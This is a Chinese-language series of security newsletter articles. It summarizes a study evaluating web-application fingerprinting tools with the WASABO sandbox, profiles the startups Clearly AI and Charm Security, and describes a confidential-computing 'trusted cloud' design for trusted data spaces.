WASABO 是一个基于 Docker 的 Web 应用沙箱框架，用于在离线和在线场景下自动化测试 Web 应用，并评估指纹识别工具的性能。其离线模块支持从源码自动构建任意版本的应用，主要组件包括 Docker 基础镜像、Web 应用源码、安装脚本、网络转换中间件以及测试用例脚本。在部署特定版本的 Web 应用时，WASABO 会读取配置文件（如 PHP 和 MySQL 版本要求），为每个镜像创建并配置 Docker 容器，同时将所选应用版本的源码挂载到 Apache Web 容器中。应用部署完成后，仍需执行默认安装流程完成初始配置，这通常涉及浏览器弹出的 HTML 安装表单，要求提供站点标题、数据库类型及 MySQL 地址等信息。为了实现全自动化，WASABO 通过捕获浏览器在安装过程中发送的 HTTP POST 请求，将其编码为可重放的安装脚本，从而消除了人工交互的需求。对于不同版本间安装表单结构一致的情况，系统可直接复用已捕获的会话，实现多版本自动安装，显著降低重复配置成本。经过人工精细化编码的安装脚本确保每次运行 WASABO 时，各版本 Web 应用均能以一致、可控的方式完成部署，为后续指纹识别测试和性能评估提供稳定、可复现的实验环境。

作者团队利用 WASABO 对 1360 个历史 Web 应用版本进行了系统评估，实现了大规模、可重复的指纹识别测试。结果显示，指纹识别工具的输出存在明显层次差异：部分工具只能识别应用类型，部分能够进一步给出完整版本号。完整版本识别在安全分析中最有价值，因为它可以直接映射已知漏洞，但仅识别应用类型同样有助于缩小扫描范围和判断风险。实验还发现，多数工具在单次扫描中会给出多个版本候选，这会增加判断成本；相比之下，能够为每个目标提供唯一且准确结果的工具，更适合实际攻防和资产管理场景。整体来看，指纹识别技术在版本预测上仍存在一定局限，尤其在应用版本边界附近，工具的准确率容易下降，这提示我们在使用指纹工具时需要结合多种信息源进行综合判断。

在 Web 应用类型识别实验中，不同指纹工具表现差异明显。仅依赖静态内容的工具，BlindElephant 和 VersionInferrer，准确率普遍较低，而结合动态内容特征的工具，Wappalyzer 和 WhatWeb效果更好，因为网页中标题、HTML 元数据或页面特有字符串能更准确地反映应用类型。提高扫描强度通常并不会提升识别效果，大多数工具在激进模式下与默认模式表现相差不大，甚至可能因发送额外探测请求而带来混乱。部分工具在特定应用上失效，例如 VersionInferrer 无法识别 Mediawiki，这是由于 Mediawiki 默认会将根路径请求重定向到子目录，使静态内容无法正确获取。实验结果显示，Web应用类型识别不仅依赖扫描策略，更高度依赖指纹规则设计和对应用行为的适配能力，未来工具需要考虑类似子目录重定向等行为，以保证静态文件能够被正确访问。结果如下图所示。

实验结果如下表所示，高级扫描模式在多数场景下并未对指纹识别性能产生显著提升，反而可能因引入冗余探测请求而降低识别效率，仅在极少数特定应用中表现出一定优势。同时，部分指纹识别工具在实际部署环境下存在适应性不足的问题，例如 VersionInferrer 由于未充分考虑 Web 应用默认重定向至子目录的行为，导致基于静态内容的指纹分析失效。相比之下，忽略重定向机制的识别策略同样难以应对子目录部署场景。未来指纹识别技术需要更加关注真实部署环境中的访问路径变化，通过动态感知重定向行为并自适应构造请求路径，以提升指纹识别的准确性与鲁棒性。

仅识别 Web 应用类型不足以准确评估其安全态势，版本级指纹识别对于漏洞利用与防御修复均具有重要意义。实验在有无先验应用类型信息的条件下，对多种指纹识别工具在默认与高级扫描模式下的版本识别能力进行了评估，并从主版本、次版本及完整版本字符串三个粒度进行统计，结果如下表所示。各工具在版本识别粒度上存在明显差异，且在不确定情况下难以通过降低预测粒度来提升准确率，这一特性源于静态内容哈希匹配和动态内容特征提取等指纹机制本身的限制。多数仅能识别主版本而无法准确定位完整版本的情况，集中出现在临近主版本边界的发布版本中，反映出当前 Web 应用版本指纹识别在精细化与鲁棒性方面仍存在不足。

除识别准确率外，指纹识别工具输出的预测数量同样直接影响其实用性。实验表明，基于动态内容指纹的工具通常仅在明确发现版本信息时才给出唯一预测，而依赖静态内容指纹的工具则容易因版本间静态资源复用产生预测冲突，导致同时输出多个可能版本，显著降低使用价值。此类冲突不仅可能覆盖时间跨度长、差异巨大的版本范围，还会在漏洞分析场景中造成严重误判，使易受攻击的版本被错误标记为已修复状态。实验结果如下图所示，基于动态内容的工具， 默认模式通常只在明确发现版本信息时输出单一预测，而依赖静态内容指纹的工具，激进模式，容易产生版本预测碰撞，即同时输出多个可能版本。实验中发现，所有出现“漏洞版本被识别为非漏洞版本”的情况均来自依赖静态内容指纹的工具，这对防御方尤为不利，表明仅以准确率衡量指纹识别性能具有明显局限，预测唯一性与安全语义一致性同样是关键评估指标。

作者团队在真实网站环境中评估 Web 应用指纹识别工具的表现，并将其与实验室环境下的“理想情况”进行对比。实验室中使用静态和动态指纹的工具通常表现出高准确率，但在真实网站中，由于管理员对网站进行定制化修改、使用缓存服务器、调整子目录结构以及部署反爬虫机制，工具的性能往往大幅下降。因此，单纯依靠实验室结果来判断工具的实用性是不够的。

下表展示了每个 Web 应用指纹识别工具在真实网站上识别性能，同时对比了在启用与未启用 WASABO 网络中间件模块的情况。实验中还列出了工具在实验室环境下的理想准确率作为参考。表中的 “Combined” 列表示同时应用缓存规避、路径预测和真实浏览器请求等所有中间件措施后的识别效果；∆ 表示默认扫描模式与Combined结果的差值，而Improvement Factor则显示可指纹化网站数量的百分比提升。该结果直观反映了网络中间件在真实环境中对提升指纹识别工具可用性和准确性的贡献。

实验结果显示，静态内容指纹工具（如 BlindElephant、VersionInferrer）对中间件的改进最为敏感，识别率提升明显，例如 VersionInferrer 对真实 Mediawiki 网站的识别率几乎翻倍。动态内容指纹工具（如 Wappalyzer、WhatWeb）提升幅度有限，但中间件可有效绕过反爬机制，保证识别不中断。综合使用所有中间件措施后，平均识别率提升约 5.8%，最高可达 22.9%。该结果表明，网络级干预措施在真实环境下可以显著提升指纹识别性能，同时揭示实验室测试与实际部署之间存在显著差距，为工具优化和网络安全防御提供了重要参考。

本研究针对现有 Web 应用指纹识别工具在真实环境中性能不稳定、静态内容指纹易受版本碰撞和缓存影响、难以准确判断应用类型与版本的问题，提出了 WASABO 框架及网络中间件解决方案。该方案通过自动化部署多版本 Web 应用、捕获和标准化网络流量，并结合缓存绕过、路径预测和真实浏览器请求等技术，显著提升了指纹识别的准确性与可复现性。研究强调了指纹有效性在攻击面管理中的核心作用：单纯依赖静态或动态指纹易导致版本碰撞和漏洞漏报，影响风险评估；而高效可靠的指纹标签不仅可准确识别资产类型与版本，还能辅助漏洞匹配和优先级排序，从而增强攻击面管理系统的整体防御决策能力与执行力。

论文主页：https://pragseclab.github.io/smudged-fingerprints

本公众号原创文章仅代表作者观点，不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权，严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用，转载须注明来自绿盟科技研究通讯并附上本文链接。

Clearly AI成立于2024年，是一家专注于企业安全和隐私审查自动化的公司，总部位于美国华盛顿州西雅图。

公司由 Emily Choi-Greene 与 Joe Choi-Greene 联合创立，核心团队具备深厚的实战与技术积累：CEO Emily 曾在亚马逊任职 5 年，领导 Alexa AI 安全部门，主导数百次安全与隐私审查项目，覆盖 AI 数据生命周期、机器学习计算平台等核心场景；CTO Joe 同样来自亚马逊，作为高级软件工程师，曾领导柯伊伯计划的卫星遥测团队，并搭建了 Alexa 字节级数据湖，在大规模数据处理与系统架构领域经验丰富[1]。

Clearly AI团队目睹了传统人工审核模式对企业创新的阻碍，以及由此引发的各类安全风险。基于一线实战经验，团队确立了“实现安全和隐私评估自动化，减少工作积压，在不牺牲信任的前提下提升透明度”的核心使命[2]，致力于用 AI 技术重构企业研发安全评审体系。

Clearly AI 的产品能力已得到全球多家行业头部企业的认可，合作客户涵盖 ERICSSON、HID Global、Rivian、GEICO、Webflow 等知名企业，覆盖制造、汽车、金融、科技等多个领域，成为企业研发安全与隐私治理的重要合作伙伴。凭借创新的技术方案与落地效果，Clearly AI 成功入围 2026 年度 RSAC 创新沙盒十强，成为 AI 安全赛道的核心关注对象。

Clearly AI于2026年2月10日正式宣布了840万美元的种子轮融资，本轮融资由Basis Set Ventures主导，获得Crosspoint Capital Partners、Argon Ventures、Ritual Capital和Y Combinator的支持[3]。

数字时代下，企业数字化转型进程加快，研发团队的迭代速度、产品交付效率持续提升，然而安全团队的工作模式仍停留在传统人工阶段，研发提速与安全保障的矛盾日益突出，形成明显的能力与效率缺口，成为企业创新发展的重要阻碍，具体表现为：人工安全评审的覆盖度低，高风险安全问题常被遗漏，如个人身份信息（PII）在应用日志中暴露、缺少限流机制、令牌存储不安全、认证流程不清晰等关键问题难以被全面识别；单环节人工评审需 3-6 小时完成，全流程评审甚至耗时 2-4 周。

面对这些行业普遍存在的问题，Clearly AI通过自动化信息收集，实现了高效且广泛的审查，实现安全能力与研发速度的同步提升：

1）审查覆盖率：

审查覆盖率的提升是 Clearly AI 最显著的价值体现之一。传统模式下，由于 人力资源的硬性约束，安全团队通常只能对约 10% 的发布功能进行深度审查，其余 90% 的功能未经专业安全评估即进入 生产环境 。Clearly AI 通过自动化将审查覆盖率提升至 100%，意味着每一个功能、每一次代码变更都能获得一致的安全评估，从根本上消除安全盲区。

2）完成时间：

单次审查完成时间从数小时压缩至 15 分钟以内，代表了超过 90% 的时间效率提升。这一突破的直接影响是安全团队日处理能力的数量级增长——原本一天只能完成 1-2 个审查的专家，现在可以监督数十个 AI 辅助审查并专注于需要人工判断的复杂案例。

3）等待周期：

审查等待周期从 2-4 周压缩至 1 天内，消除了安全审查作为产品交付瓶颈的地位,在高峰期快速扩展处理能力，避免队列积压。

Clearly AI以“用结构化、符合政策的评估取代人工审查和电子表格的混乱”为核心目标，为每个安全和隐私工作流程提供平台，并涵盖SDLC的各个阶段，帮助企业减少研发延迟，更早发现风险，启动产品上线。平台覆盖产品安全、隐私治理、第三方风险、AI治理等场景，为不同团队提供定制化能力支撑。

Clearly AI 的产品能力深度适配企业安全、隐私、合规治理三大核心团队的工作需求，针对性解决各团队核心问题：

安全团队负责在不减慢开发速度的情况下保护产品和基础设施。但人工审核、分散的工作流程和冗长的积压事项往往会造成瓶颈。Clearly AI可加速威胁建模、设计评审与供应商风险评估，根据产品描述自动生成威胁模型，识别潜在的攻击者、攻击向量和安全控制措施，输出结构化的威胁评估报告。通过自动化的安全审核，使团队专注与主动风险降低。

隐私团队在应对日益增加的隐私影响评估（PIA）、数据保护影响评估（DPIA）及人工智能治理评估等监管要求时，往往资源有限。Clearly AI 可将审查时间缩短多达 90%，分钟级生成符合监管要求的评估文档，无需反复向研发团队收集信息。平台内置多地区监管框架适配能力，可自动对标 GDPR、CCPA 等合规要求，在不大幅增加团队负担的前提下显著提升合规效率，有效降低隐私团队的合规工作负担。

合规治理团队负责在多个框架中保持合规，包括ISO、NIST、PCI-DSS、NYDFS 等，同时主动管理风险。Clearly AI 自动化生成结构化的合规文档、减少审计准备时间，提高企业风险的可见性。

Clearly AI的工作流程遵循 “连接-导入-自动化评估-人工复核” 的逻辑，确保效率与准确性的平衡[4]。首先通过原生集成能力对接企业现有研发、协作与文档工具，实现数据的自动同步，Clearly AI可以自动推荐所需评估；随后上传企业内部政策、安全标准与合规要求，平台通过学习形成专属评估体系；接着对新功能、新产品或供应商自动开展全面评估，覆盖威胁建模、隐私评估、合规审计等环节，生成结构化报告与整改建议；最后由安全或相关团队对自动化评估结果进行优先级排序与最终决策，AI 辅助完成重复性工作，人类专家聚焦复杂风险分析，实现人机协同最优配置。

Clearly AI是一个基于云、AI原生的平台，将安全、隐私和治理合规评估的繁琐过程转变为快速、结构化的工作流程，团队只需上传代码、架构图或政策文件，几次点击即可获得监管机构准备的报告围绕企业实际工作场景，Clearly AI 打造了几大核心功能，兼顾自动化、定制化、集成化，无需改变团队现有工作习惯，即可实现安全能力的快速落地：

1）全场景自动化评审，覆盖研发全流程：

平台支持安全与隐私评审自动化触发与分析，可从 Jira 工单、GitHub 代码拉取请求、文档更新等企业日常工作场景中自动触发AI驱动的评审流程。通过智能分析业务上下文、代码、架构文档等内容，自动识别潜在安全风险，生成结构化、可直接落地的评审结果，无需人工手动梳理，让评审工作从“被动响应”变为“主动触发”。

2）SecureAdvisor 智能安全顾问，实时答疑解惑：

内置专属AI安全顾问模块SecureAdvisor，基于企业内部知识体系与行业通用安全标准完成深度训练，可作为团队的“随身安全专家”。安全、开发团队可随时发起安全问题咨询，快速获取贴合企业业务场景、符合公司安全政策的针对性解答，无需等待专职安全工程师支持，解决研发过程中安全问题“咨询难、响应慢”的痛点。

3）安全左移（SHIFT-LEFT SECURITY），提前拦截生产风险：

核心实现开发流程早期的风险识别，通过AI技术深度分析代码、产品文档、企业安全政策等资料，在研发设计、编码阶段就主动发现安全隐患，而非等到测试或生产阶段再排查。为研发团队提供带业务上下文的安全指导和可落地的风险处置方案，让高风险问题在上线前被彻底解决，大幅降低后期修复成本。

4）风险统一管理，全生命周期追踪可视：

搭建集中化的风险登记与威胁数据库，所有AI评审发现的风险会被自动存储、分类映射，并跨项目全维度追踪。企业可实时查看风险归属负责人、整改进度、长期风险变化趋势，实现风险从“发现-分配-整改-闭环”的全生命周期管理，让安全团队对企业整体风险状况一目了然，提升风险管控效率。

5）深度融合企业与行业知识，输出个性化合规结果：

平台的AI能力基于企业内部知识+行业通用标准双重赋能，可接入企业内部安全政策、合规制度、操作规范等文档，同时融合全球安全最佳实践、主流监管合规框架（如GDPR、欧盟、CRA等）。让AI输出的评审建议、合规文档、风险方案完全贴合企业实际工作流程，而非通用化内容，确保所有输出结果符合企业内部要求与行业监管标准。

1）全场景一体化安全隐私治理能力：

Clearly AI 不局限于单一代码检测或问卷自动化，而是以端到端安全与隐私评审为核心，覆盖产品安全、隐私治理、第三方风险、AI 治理四大核心场景，形成全流程的企业安全治理平台，满足企业从研发到合规的整体安全需求。

2）原生嵌入研发流程：

产品深度融入 SDLC 全生命周期，无需改造现有研发工具链即可自动触发评审，在设计、编码阶段就提前发现并拦截风险，真正做到安全与研发效率同步提升，从根源上消除安全审查成为产品交付瓶颈的问题。

3）多团队协同：

平台同时面向安全团队、隐私团队、治理合规团队提供专属能力支撑，可自动生成威胁模型、隐私影响评估报告、合规审计材料等关键产出，大幅降低多部门重复沟通与重复工作，实现一套平台支撑企业全域治理。

4）企业级定制化合规输出：

结合企业内部政策与 GDPR、CCPA、NIST、ISO 等全球主流监管框架，自动生成贴合企业实际、可直接用于审计的定制化评估结果，而非通用化模板内容，更强适配不同行业、不同区域的监管要求。

5）人机协同可靠评审体系：

采用 AI 负责标准化、重复性评估工作，人工专注复杂风险判断与最终决策的模式，配合防 AI 幻觉机制与人工复核流程，在保证效率的同时，维持企业级安全可靠性，适合大规模生产环境长期使用。

为了解Clearly AI的定位，可以将其与AI驱动应用安全领域的两家类似竞争者ZeroPath和Fig Security进行比较。虽然三者都处于人工智能与应用安全的交叉点，但它们在核心焦点、主要方法等方面存在差异。这一比较视角有助于澄清Clearly AI的战略重点及其在竞争激烈且快速变化的安全环境中的相对优势[2]。

在企业研发迭代速度持续加快的背景下，传统人工安全评审模式已难以适配行业需求，AI 驱动的研发安全自动化成为行业发展的必然趋势。Clearly AI 凭借一线安全工程实践经验，精准切中研发安全与效率的核心矛盾，以“自动化、定制化、集成化”的产品能力，打造了一站式安全与隐私治理平台，实现了威胁建模、设计评审、隐私评估、合规审计的全流程自动化。

从技术落地来看，Clearly AI 并非简单的工具替代，而是AI 赋能人类，人机协同治理，通过 AI 完成重复性、标准化的评审工作，让安全工程师将精力聚焦于高价值的策略制定、复杂风险分析等工作，实现人力资源的最优配置。其产品不仅解决了企业当下的研发安全痛点，更适配全球日益严格的合规监管趋势，为企业数字化创新筑牢安全防线。此次入围 2026 年度 RSAC 创新沙盒，既是对 Clearly AI 技术创新性的认可，也印证了AI在研发安全领域的巨大应用价值。

  参考文献  

在本系列的前文中，我们探讨了可信数据空间的演进历程与建设思路。一句话总结，邬贺铨院士曾形象地将其比喻为“有围栏的数据沙箱”[1]。如图1所示，这种“围栏”与传统沙箱有着本质区别：它不再局限于单一机构的物理或逻辑边界内，而是跨越多个管控域形成的虚拟防御边界。这一特性决定了所有可信数据空间方案都必须正面回应一个核心命题：当数据离开原始管控环境后，如何实现依然有效的“跨域管控”？

从技术实现路径来看，笔者认为主要有三种思路：

• 隔离环境思路：该方案利用特定的硬件芯片构建出一套“外界无法进入”的物理隔离空间，确保空间内发生的任何计算行为都具备对外可证明性。其核心优势在于计算性能几乎无损，且能较好地兼容并集成传统的本地数据使用控制能力；但局限性在于高度依赖特定的可信芯片，且目前对 GPU、FPGA 等异构设备的适配度较低，若集成环节处理不当，甚至可能破坏环境的绝对隔离假设。

• 功能加密思路：通过同态加密等技术对出域数据进行特殊编码，确保数据在保持密文状态的同时依然具备特定的计算能力，从而在外部环境中完成业务处理。该路径最大的核心优势是不依赖底层硬件，且拥有严密的密码学理论为安全性背书；然而，其代价是极其沉重的计算性能损耗，且实现方式与主流编程体系差异巨大，导致其对复杂业务逻辑的描述与承载能力相对有限。

• 实时共享思路：这种方式通过网络将数据实时挂载或代理至远端，并利用网络流量分析技术实时监测远端的使用状态，一旦发现违规即可随时阻断。其优势在于摆脱了硬件束缚，且在数据使用范围不确定时无需预先传输全量数据，灵活性较高；但弊端在于使用方会面临较高的读取延迟，且单纯从流量中能够观测并解读出的行为精度有限，这在很大程度上约束了管控能力的丰富度与精细度。

考虑到工业级业务的复杂性与高性能需求，绿盟科技选择了“以隔离环境思路为主线，其他两类方案为增强”的综合路径，提出了“密态可信云”方案。

需要事先说明的是，业内对密态可信云尚未达成共识，本节仅为笔者一家之言，请读者酌情采纳。

笔者以为，“密态可信云”并非单一的技术产品，而是一种新型的云安全范式。它深度融合了可信计算、机密计算、云原生与密码学技术，可以有多种实现方法。其目标是在延续传统云计算弹性伸缩、按需供给、分布式部署等优势的同时，在技术上最大限度削弱云基础设施提供方和运维方对数据的“天然可见性”，显著提升对恶意内部人员、被入侵的云平台以及外部攻击者的数据窃取与滥用的防护能力。

因此，不妨做如下定义：密态可信云是一种计算资源提供与运维者无法窃取工作负载数据且可证明此能力的云平台。

在“云可用但不可信”的现实假设下，密态可信云的设计目标是将信任从传统的“边界防御”转化为“内生安全”。从技术架构上看，这要求在计算、存储、网络三个关键维度重构出完整的“密态”保护，确保数据在全生命周期内始终处于可验证、可度量的受控环境中。本节对一些可能的构建思路进行介绍。

① 可信密态计算

机密计算作为隐私保护计算的重要技术路线，其核心思想是在不完全可信的外部系统之上，引入专门设计的可信硬件扩展，在 CPU 内部构建隔离、加密且可远程证明的可信执行环境（TEE），从而保护数据“正在被处理”这一阶段的安全。与早期的可信计算相比，机密计算尽可能缩小可信计算基（TCB）：不再要求对宿主操作系统、系统固件或虚拟化监控器整体保持信任，而是将信任压缩到 CPU 及少量经严格审计的固件和运行时之上。这种“最小 TCB”思路使得即便云平台管理员或物理机被攻陷，攻击者通常也难以直接获取机密环境中的明文数据与执行状态，最小化成本的达成了可信密态计算的效果。

在上层形态上，业界逐渐形成共识：可信密态计算必须与现有云原生生态兼容，才能真正具备工程可用性。从实践看，机密虚拟机与机密容器成为主流方向。机密虚拟机在传统虚机的基础上引入安全引导、内存加密和远程证明机制，使原本就能在虚机中运行的业务系统在几乎无需改造的情况下迁移到机密环境内，兼顾安全与兼容；机密容器[2]则通过极度裁剪的虚拟机内核承载容器运行时，在保持容器敏捷调度与微服务开发模式的同时，将每个工作负载运行在独立的机密执行环境中，进一步缩小攻击面。前者目前已具备较成熟的落地能力，后者仍在快速演进中，被普遍视为面向云原生场景的理想形态。

② 可信密态存储

从概念上讲，可信密态存储可以理解为：所有落盘或持久化的数据都以加密形式存在，而用于加密的密钥只在可信密态计算环境内部生成、持有和使用，不在物理机或存储节点内存中以明文形式出现。为兼顾性能与易用性，机密存储普遍采用透明加密方式，在文件系统层或块设备层自动完成数据块的加解密，上层应用仍然读写明文文件，底层物理磁盘或对象存储池看到的则是无法直接解读的密文。

这一设计直接打破了传统“以存储池为信任边界”的思路：在传统分布式存储架构中，加解密逻辑通常部署在物理机层面的存储服务进程中，相应密钥也常驻于其内存；而在密态可信云中，存储池本身被视作不可信资源，仅提供大容量、高可用的数据持久化能力，加解密逻辑以及密钥管理则上移至 TEE 内部。

实践中的解决方案通常有两种：一是将分布式存储池映射为机密虚拟机或机密容器内的块设备，再通过如LUKS等方案对该虚拟块设备进行透明加密；另一种是利用具备透明加密能力的用户态文件系统，将外部任意对象存储或文件存储通过网络等挂载到机密环境中，由FUSE等机制在用户态完成加解密。通过这类架构调整，即便云平台和存储节点被入侵，攻击者所能获得的也只是失去密钥支撑的随机密文。

③ 可信密态网络

可信数据空间的本质是跨组织、跨云平台的数据流通与协同，参与方不仅关注“链路是否加密”，更关注“加密链路的另一端究竟是什么”。传统 TLS 可以防止窃听和篡改，却无法确保对端运行在可信硬件支持的机密环境中，一旦数据被导入一个普通主机或被恶意劫持的中间节点，传输层加密本身并不能阻止后续的滥用。可信密态网络的设计目标正是将 TLS 连接的终止点“拉进”可信密态计算环境内部，并以远程证明机制向数据提供方证明这一事实，从而实现“通道加密 + 端点可信”的统一。

主流的可信密态网络实现大体可以归纳为三类路径，但都需要依赖机密/可信计算等提供的远程证明能力[3]：

• 证书扩展：将远程证明报告作为扩展字段嵌入到 TLS 所采用的 X.509 证书中，客户端在传统证书校验的同时，对其中的证明信息进行解析与核验，从而在建立 TLS 连接的同时完成对端机密环境的确认。

• 二层隧道：先按常规流程完成TLS握手和通道建立，再由上层应用协议发起远程证明交互，在挑战与报告的往返过程中协商生成一个新的会话密钥，用该密钥对业务数据进行额外加密后再通过 TLS 传输，实现“TLS 之上的机密隧道”。

• SSL组件扩展：通过扩展或改造 OpenSSL 等基础密码库，在 TLS 握手阶段直接集成远程证明的验证逻辑，使连接建立本身就以机密环境的可信度量为前提，从协议栈底层将“端点可信”纳入网络安全基线。

值得注意的是，目前在“计算”、“存储”、“网络”三方面的密态技术均处于快速演进与探索阶段。绿盟科技在上述密态可信云的理论基础上，针对其中的若干原子技术在算法效率、工程可靠性及业务场景适配上进行了深度优化。在本系列后续文章中，我们将适时对这些具体的优化技术与实践细节进行深度介绍。

将上述密态技术转化为真正可落地的可信数据空间方案，关键在于如何实现从底层硬件到顶层业务的“全栈贯通”。如图3所示，绿盟方案的核心逻辑，是构建一个既具备云计算弹性优势、又拥有硬件级安全保障、同时还符合TC609标准等规范与能力要求的复合底座。

这一贯通逻辑首先起始于底层环境的标准化封装。方案通过对海光CSV、AMD SEV等主流可信硬件的深度适配，在虚拟化与云原生层构建起一个“密态资源池”。这一层级的作用在于屏蔽底层硬件的异构复杂性，为上层应用提供统一的机密计算接口。这意味着，传统的业务系统和复杂的数据资产可以以机密虚机或容器的形态实现“无感迁移”，在不改变原有开发模式的前提下，直接获得硬件级的运行保护。

在此底座之上，方案进一步集成了丰富的安全功能组件。这些组件不仅包括传统的数据脱敏、审计与水印技术，更涵盖了隐私保护计算、AI Agent 等前沿工具。通过将这些原子能力“组件化”，密态可信云能够根据不同的业务场景，灵活调度所需的计算与防护手段。例如，在处理高敏感政务数据时，系统可以叠加多方计算能力；而在进行工业级的大规模AI 推理时，则重点调用GPU资源。这种灵活的编排能力，确保了安全防护能够紧贴业务逻辑，而非脱离业务的“空中楼阁”。

最终，这种全栈贯通在业务协同层面实现了质的飞跃。通过可信连接器与数字合约等标准机制，可信数据空间将原本依赖合同、法律等“行政约束”的协作模式，彻底转化为基于技术手段的“确定性约束”。数据提供方不再需要通过主观信任来交付数据，而是通过技术手段实时验证接收方的执行环境是否合规、处理过程是否越权。这种从“信任人”到“信任环境”的范式转移和低成本实现，正是密态可信云与可信数据空间为数据要素流通带来的核心价值所在。

本文对绿盟可信数据空间中的核心技术底座“密态可信云”进行了介绍，并对其中关键概念与技术点进行了梳理。结合当前软硬件生态的发展趋势，笔者相信在未来数年内，密态可信云将逐渐从“增强级安全能力”演化为建设可信数据空间时的事实标准底座，成为跨域数据连接器和多方协同计算平台的首选基础设施形态。

在下一篇中，我们将稍稍转移一下视角，讨论一下当前最大的技术热点“大模型”与可信数据空间的结合，以及其中值得关注的新技术。

参考文献

本公众号原创文章仅代表作者观点，不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权，严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用，转载须注明来自绿盟科技研究通讯并附上本文链接。

Charm Security（以下简称Charm）是一家专注于利用Agentic AI技术预防和解决诈骗与欺诈的创新型安全公司。公司成立于2025年1月，在以色列特拉维夫、美国纽约均设立办公据点，核心立足金融安全领域，现已成为该赛道备受关注的新兴力量。公司在2025年3月完成由知名投资机构Team8领投的800万美元种子轮融资，这笔资金主要用于团队扩张、产品研发提速及行业合作生态搭建，为业务规模化发展奠定了坚实的资本基础，目前公司员工规模处于11-50人的核心发展阶段[1-2]。

2026年，Charm成功入围全球网络安全行业最具影响力的竞赛之一——RSA Conference Innovation Sandbox（创新沙盒）十强，这标志着其技术方案已获得顶级安全专家的认可。该赛事是全球顶尖的网络安全初创企业竞赛，评审团由摩根士丹利、摩根大通、威瑞森等国际金融与科技巨头的资深专家组成，入围不仅意味着Charm的反诈解决方案获得全球顶级安全专家与行业机构的高度认可，还为公司赢得了500万美元的专项投资支持，用于业务增长与技术创新[3]。

Charm的创始团队由一批在网络安全、金融科技、人工智能和行为心理学交叉领域拥有深厚背景的专家组成。

Charm联合创始人兼CEO罗伊・祖尔（Roy Zur）是全球反诈与网络安全领域的权威人士，拥有20年打击网络犯罪的反诈实战经验。他曾在以色列国防军8200网络情报部队服役15年，官至少校，作为高级官员主导网络情报、网络犯罪打击及相关人员培训工作，期间深刻洞察到“人为因素”是网络安全的核心短板，这也成为其后续创业的核心逻辑。Roy Zur兼具法律与网络安全双重专业背景，退役后曾任以色列最高法院法律顾问；教育背景上，他毕业于特拉维夫大学，获商法学士、法学硕士学位，还曾在沃顿商学院、哈佛大学接受高级商业课程培训[4]。

首席技术官阿维查伊・本（Avichai Ben）深耕数据科学与AI反诈领域多年，曾先后任职于Transmit Security、微软等知名企业并担任数据科学负责人，核心主导并深度参与多家大型企业的AI反诈检测系统研发工作，在AI技术落地、反诈算法优化、智能风控体系搭建等方面积累了丰富的实战经验与技术成果。他在人工智能、数据建模、网络安全风控等领域拥有深厚的专业积淀，与Roy Zur形成技术与行业实战的优势互补，二人在网络安全与AI领域的双重专业能力与丰富经验，为Charm的反诈技术研发、产品创新筑牢了坚实的技术基础，也成为团队打造AI驱动型社会工程学诈骗防控方案的核心实力支撑[5]。

传统欺诈检测系统的核心发力点集中在交易异常监测（如异地登录、大额转账等）与身份验证环节（如生物识别、多因素认证等），在过去一段时间内有效抵御了传统诈骗模式的冲击。然而，随着生成式AI技术的快速普及与规模化应用，诈骗模式已发生根本性、颠覆性转变，具体体现在以下三个方面：

• AI赋能的社会工程攻击：攻击者借助生成式AI技术，可快速生成高度个性化、极具迷惑性的钓鱼邮件、仿冒语音及深度伪造视频，大幅降低诈骗实施门槛的同时，显著提升了欺骗成功率，让受害者难以分辨真伪。

• 人类心理漏洞的规模化利用：诈骗行为的核心已从单纯的技术漏洞利用，转变为对人类认知偏差、情感弱点及社会工程学的系统性、规模化攻击，精准拿捏受害者心理，突破传统防控的认知壁垒。

• 实时交互式诈骗：诈骗者通过WhatsApp、微信等实时通讯工具，与受害者保持持续、高频的互动沟通，全程动态诱导，而传统基于固定规则的检测系统，难以介入此类实时交互场景，无法实现有效拦截。

诈骗行为的规模化、智能化升级，直接带来了巨大的经济损失与行业压力。据统计，2023年全球因AI金融诈骗造成的经济损失已超过1万亿美元[5]。在此背景下，金融机构不仅要承担诈骗损失的主要赔偿责任，还要面对全球范围内日益严格的监管要求——美国、英国、欧盟、新加坡、澳大利亚等国家和地区的监管机构已相继出台相关新规，进一步提升了金融机构的赔偿责任与合规成本。更为关键的是，一旦客户因诈骗遭受财产损失，金融机构将直接陷入客户信任危机，进而导致客户流失、品牌声誉受损，形成难以挽回的负面影响，因此，构建高效、精准的新型诈骗防控体系已成为行业迫切需求。

面对新型诈骗的冲击，当前市面上现有的诈骗防控解决方案普遍存在三大突出局限，难以满足行业防控需求，具体如下：

• 防控时效滞后，聚焦事后响应：多数解决方案仍停留在事后响应层面，往往要等到诈骗行为完成、资金转移到位或用户遭受实际损失后，才会发出滞后警报，无法在诈骗实施过程中进行实时识别、及时阻断与有效干预，难以从源头守护用户财产安全。

• 维度覆盖不足，缺失心理层面防控：传统防控工具大多仅关注账户信息、资金流向、设备特征等常规数据维度，未能融入心理学相关技术与分析逻辑，无法有效识别和深度解析沟通对话中潜藏的欺骗意图、情感操纵、心理压迫、话术诱导等关键风险信号，对依赖心理操控的新型诈骗识别能力严重不足。

• 运营模式低效，依赖人力投入：整体防控模式偏向人力密集型，诈骗案件的核查、取证、分析与处置等环节，往往需要投入大量人力进行逐一审核、判断，不仅处理效率低下、响应速度缓慢，还会产生高昂的运营成本与人力成本，难以应对日益高发、形式不断翻新的海量诈骗场景。

正是基于威胁演变、市场需求与技术空白的多重背景，Charm提出了“打破诈骗魔咒（Break the Scam Spell）”的核心愿景，致力于构建一个能够深度理解人类心理、实现实时干预的AI智能体平台，填补行业防控短板。

Charm不只是一个"检测工具"，而是一个由多个专用AI智能体组成的“虚拟反欺诈团队”。这些智能体分工协作，覆盖诈骗预防、调查、干预、主动发现等动作，形成了一套完整的Agentic AI反欺诈生态系统。

Charm的各类智能体通过共享意图图谱实现高效协同，调查智能体发现的新型欺诈模式可自动更新前线智能体的检测规则，情报智能体采集的实时威胁数据能够即时同步至所有智能体，前线智能体识别到的新型诈骗剧本也会及时反馈给调查智能体开展深度分析；正是基于威胁演变、市场需求与技术空白的多重背景，Charm提出了“打破诈骗魔咒（Break the Scam Spell）”的核心愿景，致力于构建深度理解人类心理、支持实时干预的AI智能体平台，补齐行业防控短板[6]。

